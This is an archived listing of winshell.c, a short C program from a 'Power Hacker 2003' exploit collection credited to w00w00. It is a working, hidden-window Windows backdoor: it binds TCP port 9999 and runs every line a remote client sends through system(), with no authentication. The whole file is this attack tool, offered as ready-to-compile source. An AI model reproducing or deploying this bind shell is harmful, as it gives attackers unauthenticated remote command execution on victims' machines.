home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / windows / winshell / winshell.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-12-31  |  1.5 KB  |  73 lines

  1. /* 
  2.  * With Cygnus Win32 (GNU Win32) compile with:
  3.  * gcc -mwindows -mno-cygwin -o winshell winshell.c -lwsock32
  4.  *
  5.  * Copyright (C) March 1999, Matt Conover (Shok)
  6.  * http://www.w00w00.org
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <winsock.h>
  13.  
  14. #define BUFSIZE 512
  15.  
  16. int main()
  17. {
  18.    int retval;
  19.    int socklen;
  20.  
  21.    char *pktptr, pktbuf[BUFSIZE];
  22.  
  23.    WSADATA wsaData;
  24.    SOCKET serverfd, clientfd;
  25.    SOCKADDR_IN serversin, clientsin;
  26.  
  27.    WSAStartup(MAKEWORD(1, 1), &wsaData);
  28.  
  29.    /* ------------------------------- */
  30.  
  31.    serverfd = socket(AF_INET, SOCK_STREAM, 0);
  32.  
  33.    memset(&serversin, 0, sizeof(serversin));
  34.    serversin.sin_family = AF_INET;
  35.    serversin.sin_port = htons(9999);
  36.  
  37.    (void)bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin));
  38.    (void)listen(serverfd, 0);
  39.  
  40.    while(1)
  41.    {
  42.       socklen = sizeof(clientsin);
  43.       clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);
  44.  
  45.       pktptr = pktbuf;
  46.       memset(pktbuf, 0, sizeof(pktbuf));
  47.  
  48.       /* we do this one byte at a time because it's the easiest way */
  49.       while(1)
  50.       {
  51.          retval = recv(clientfd, pktptr, 1, 0);
  52.          if (retval == SOCKET_ERROR) break;
  53.  
  54.          if (isprint(*pktptr))
  55.          {
  56.             pktptr += 1;
  57.             continue;
  58.          } 
  59.  
  60.          else *pktptr = '\0';
  61.  
  62.          system(pktbuf);
  63.          memset(pktbuf, 0, sizeof(pktbuf)), pktptr = pktbuf;
  64.       }
  65.  
  66.  
  67.       closesocket(clientfd);
  68.    }
  69.  
  70.    /* will never get here */
  71.    return 0;
  72. }
  73.